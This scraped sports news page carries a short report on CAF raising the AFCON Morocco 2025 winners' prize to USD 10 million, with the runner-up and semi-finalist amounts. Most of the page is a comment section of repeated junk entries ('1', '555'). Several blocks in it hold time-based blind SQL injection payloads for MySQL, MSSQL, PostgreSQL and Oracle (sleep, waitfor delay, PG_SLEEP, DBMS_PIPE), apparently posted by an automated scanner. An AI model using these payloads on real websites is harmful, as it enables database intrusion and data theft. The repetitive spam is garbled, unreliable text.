AFCON 2025: CAF doubles down as prize money hits $10m
CAF President Dr Patrice Motsepe has confirmed that the winners of the TotalEnergies CAF Africa Cup of Nations (AFCON) Morocco 2025 will receive USD 10 million in prize money, marking the highest payout in the tournament’s history, Nigeriasoccernet.com reports.
The announcement was made on Saturday after a meeting of the CAF Executive Committee (EXCO) in Rabat, Morocco, held on the eve of the competition’s kick-off.
The prize represents a 43 per cent increase from the 2023 edition, when hosts Côte d’Ivoire claimed USD 7 million after winning the title. It also underlines the significant growth of the competition over the past four years, with the winners’ reward doubling from the USD 5 million paid out at AFCON Cameroon 2021.
This steady rise highlights CAF’s commitment to enhancing the commercial value and global appeal of Africa’s flagship international tournament, with prize money climbing from USD 5 million in 2021 to USD 7 million in 2023, and now USD 10 million in 2025.
Meanwhile, the runners-up at AFCON Morocco 2025 will earn USD 4 million, while the two losing semi-finalists will each receive USD 2.5 million.
By Oluwadamilola OlaleyeÂ
Readers Comment
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555*if(now()=sysdate(),sleep(15),0)
-
1
1 month ago
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
-
1
1 month ago
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
-
1
1 month ago
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
1
1 month ago
555-1; waitfor delay '0:0:15' --
-
1
1 month ago
555-1); waitfor delay '0:0:15' --
-
1
1 month ago
555-1 waitfor delay '0:0:15' --
-
1
1 month ago
555wv5xczSQ'; waitfor delay '0:0:15' --
-
1
1 month ago
555-1 OR 37=(SELECT 37 FROM PG_SLEEP(15))--
-
1
1 month ago
555-1) OR 913=(SELECT 913 FROM PG_SLEEP(15))--
-
1
1 month ago
555-1)) OR 754=(SELECT 754 FROM PG_SLEEP(15))--
-
1
1 month ago
555Uia0rVsR' OR 917=(SELECT 917 FROM PG_SLEEP(15))--
-
1
1 month ago
5559QfC5imI') OR 840=(SELECT 840 FROM PG_SLEEP(15))--
-
1
1 month ago
555Py8qnhjF')) OR 290=(SELECT 290 FROM PG_SLEEP(15))--
-
1
1 month ago
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
1
1 month ago
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1
1 month ago
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
-
1
1 month ago
555
-
1
1 month ago
555'"
-
1
1 month ago
(select 198766*667891)
-
1
1 month ago
(select 198766*667891 from DUAL)
-
1
1 month ago
555
-
1
1 month ago
555
-
1*if(now()=sysdate(),sleep(15),0)
1 month ago
555
-
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1 month ago
555
-
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1 month ago
555
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 month ago
555
-
1-1; waitfor delay '0:0:15' --
1 month ago
555
-
1-1); waitfor delay '0:0:15' --
1 month ago
555
-
1-1 waitfor delay '0:0:15' --
1 month ago
555
-
156SX82Kn'; waitfor delay '0:0:15' --
1 month ago
555
-
1-1 OR 111=(SELECT 111 FROM PG_SLEEP(15))--
1 month ago
555
-
1-1) OR 585=(SELECT 585 FROM PG_SLEEP(15))--
1 month ago
555
-
1-1)) OR 890=(SELECT 890 FROM PG_SLEEP(15))--
1 month ago
555
-
1wFTeV05Q' OR 696=(SELECT 696 FROM PG_SLEEP(15))--
1 month ago
555
-
1zUySQd4V') OR 16=(SELECT 16 FROM PG_SLEEP(15))--
1 month ago
555
-
1zXLKFGaU')) OR 299=(SELECT 299 FROM PG_SLEEP(15))--
1 month ago
555
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1 month ago
555
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1 month ago
555
-
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
1 month ago
555
-
1
1 month ago
555
-
1'"
1 month ago
555
-
@@8h1Lw
1 month ago
555
-
(select 198766*667891)
1 month ago
555
-
(select 198766*667891 from DUAL)
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555
-
1
1 month ago
555*if(now()=sysdate(),sleep(15),0)
-
1
1 month ago
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
-
1
1 month ago
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
-
1
1 month ago
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
1
1 month ago
555-1; waitfor delay '0:0:15' --
-
1
1 month ago
555-1); waitfor delay '0:0:15' --
-
1
1 month ago
555-1 waitfor delay '0:0:15' --
-
1
1 month ago
555QPA5Lb69'; waitfor delay '0:0:15' --
-
1
1 month ago
555-1 OR 150=(SELECT 150 FROM PG_SLEEP(15))--
-
1
1 month ago
555-1) OR 862=(SELECT 862 FROM PG_SLEEP(15))--
-
1
1 month ago
555-1)) OR 34=(SELECT 34 FROM PG_SLEEP(15))--
-
1
1 month ago
55538GgEHU2' OR 676=(SELECT 676 FROM PG_SLEEP(15))--
-
1
1 month ago
555yNIl4nqb') OR 613=(SELECT 613 FROM PG_SLEEP(15))--
-
1
1 month ago
555u1DOTcgA')) OR 61=(SELECT 61 FROM PG_SLEEP(15))--
-
1
1 month ago
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
1
1 month ago
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1
1 month ago
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
-
1
1 month ago
555
-
1
1 month ago
555'"
-
1
1 month ago
(select 198766*667891)
-
1
1 month ago
(select 198766*667891 from DUAL)
-
1
1 month ago
555
-
1
1 month ago
555
-
1*if(now()=sysdate(),sleep(15),0)
1 month ago
555
-
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1 month ago
555
-
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1 month ago
555
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1 month ago
555
-
1-1; waitfor delay '0:0:15' --
1 month ago
555
-
1-1); waitfor delay '0:0:15' --
1 month ago
555
-
1-1 waitfor delay '0:0:15' --
1 month ago
555
-
1CwLoROFJ'; waitfor delay '0:0:15' --
1 month ago
555
-
1-1 OR 271=(SELECT 271 FROM PG_SLEEP(15))--
1 month ago
555
-
1-1) OR 817=(SELECT 817 FROM PG_SLEEP(15))--
1 month ago
555
-
1-1)) OR 834=(SELECT 834 FROM PG_SLEEP(15))--
1 month ago
555
-
1oNueHwJ3' OR 784=(SELECT 784 FROM PG_SLEEP(15))--
1 month ago
555
-
14OBWiuxM') OR 936=(SELECT 936 FROM PG_SLEEP(15))--
1 month ago
555
-
12jFPTazQ')) OR 184=(SELECT 184 FROM PG_SLEEP(15))--
1 month ago
555
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1 month ago
555
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1 month ago
555
-
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
1 month ago
555
-
1
1 month ago
555
-
1'"
1 month ago
555
-
@@wRnfa
1 month ago
555
-
(select 198766*667891)
1 month ago
555
-
(select 198766*667891 from DUAL)
1 month ago
555
-
1
1 month ago
555

Comments
This article has 318 comment(s) , give your comment